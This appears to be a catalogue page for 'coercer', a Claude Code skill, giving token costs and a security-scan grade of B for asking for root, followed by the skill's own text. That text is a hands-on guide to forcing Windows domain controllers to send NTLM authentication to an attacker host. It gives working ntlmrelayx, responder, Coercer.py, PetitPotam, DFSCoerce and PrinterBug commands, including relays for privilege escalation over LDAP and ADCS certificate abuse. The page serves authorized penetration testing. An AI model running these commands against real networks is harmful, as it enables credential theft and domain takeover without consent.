coercer

coercer is a skill for Claude Code from MingyiSecLab/Mingyi-Atlas. It costs 71 tokens per session (1,342 once invoked), scanned B, a copy of ad-coercer, Apache-2.0.

A guide to coercing Windows machines to send their NTLM login authentication to a chosen host. It covers several Windows protocols and tools, including PetitPotam, PrinterBug, DFSCoerce, and ShadowCoerce.

In plain words
What is it for?
Use it to plan authorized Windows and Active Directory assessments involving authentication listeners, coercion methods, relay attacks, or offline cracking.
Why use it?
It helps security testers understand how outbound authentication can be triggered and then relayed to another service or tested for password weaknesses.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade B, and why

coercer scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

A mod that escalates privileges can change anything on the machine, not only the project.

Authentication Coercion (PetitPotam family)

Force a Windows machine — usually a Domain Controller — to send an NTLM authentication to an attacker-controlled host. Then either relay the auth (via ntlmrelayx) or crack it offline.

The family of coercion vulnerabilities

Vector Protocol RPC Mitigated by
PetitPotam MS-EFSR (Encrypting File System Remote) EfsRpcOpenFileRaw KB5005413 (Aug 2021) — partial; bypasses persist via other Efs* methods
PrinterBug MS-RPRN (Print System Remote) RpcRemoteFindFirstPrinterChangeNotificationEx Disable Print Spooler
DFSCoerce MS-DFSNM (Distributed File System) NetrDfsGetVersion, NetrDfsRemoveStdRoot Restrict DFSN to admins
ShadowCoerce MS-FSRVP (File Server Remote VSS) IsPathSupported KB5015527 (Jul 2022)
CheeseOunce / WebDavCoerce WebDAV WebClient (various) Disable WebClient service

All four boil down to: an unauthenticated/low-priv RPC call that triggers the target to authenticate outbound.

Workflow

1. Set up the listener (attacker)

# Option A: ntlmrelayx (relay auth to a useful service)
sudo impacket-ntlmrelayx -t ldap://dc.target.local --escalate-user lowpriv -smb2support
# OR relay to ADCS for cert-based domain admin:
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# Option B: just capture the hash
sudo impacket-ntlmrelayx -t ldap://dc.target.local --no-smb-server
# OR with responder
sudo responder -I eth0

2. Coerce auth from a target machine

# Coercer — meta-tool, tries every vector
git clone https://github.com/p0dalirius/Coercer
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u 'low_priv_user' -p 'pass'
# or anonymous (often works pre-PetitPotam patch):
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u '' -p ''

# Or individual scripts:
python3 PetitPotam.py <attacker_ip> <target_ip>
python3 dfscoerce.py -u lowpriv -p pass <attacker_ip> <target_ip>
python3 printerbug.py target.local/user:pass@<target_ip> <attacker_ip>

coercer is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 71 tokens to every session and 1,342 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 1 finding (asks for root). It is 100% identical to ad-coercer, differing in 2 lines, and is treated as a copy.
